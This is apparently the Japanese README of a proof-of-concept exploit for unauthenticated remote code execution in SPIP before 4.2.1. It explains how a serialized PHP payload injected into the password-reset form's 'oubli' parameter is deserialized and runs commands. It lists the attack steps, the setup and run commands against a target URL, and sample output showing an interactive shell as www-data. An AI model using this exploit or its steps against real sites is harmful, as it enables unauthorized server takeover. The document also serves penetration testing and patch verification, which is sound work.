
SPIP < 4.2.1のパスワードリセットフォームでのPHPオブジェクトインジェクションによる認証なしリモートコード実行の概念実証エクスプロイト。CSRFトークン処理を備えたインタラクティブシェルを提供します。
SPIP 4.2.1以前における未認証のリモートコード実行の脆弱性。パスワードリセットフォームの
oubliパラメータが、不適切なデシリアライズ処理によりPHPオブジェクトインジェクションに対して脆弱です。細工されたシリアライズペイロードがWebユーザとしてサーバー側で実行され、その出力がレスポンス内のoubli入力フィールドの値に反映されます。
/spip.php?page=spip_pass からアンチCSRFトークンを取得します。oubli パラメータにPHPシリアライズペイロードを注入したPOSTリクエストを送信します。value 属性からコマンドの出力を抽出します。python3 -m venv venv
source venv/bin/activate
python3 -m pip install requests beautifulsoup4 prompt_toolkit
python3 exploit.py -u http://TARGET/spip
実行例:
$ python3 exploit.py -u http://10.10.10.10/spip
[*] Fetching anti-CSRF token...
[*] Testing command execution...
[+] Target is vulnerable! Output: uid=33(www-data) gid=33(www-data) groups=33(www-data)
[+] Shell opened. Type 'exit' or Ctrl+C to quit.
Shell> whoami
www-data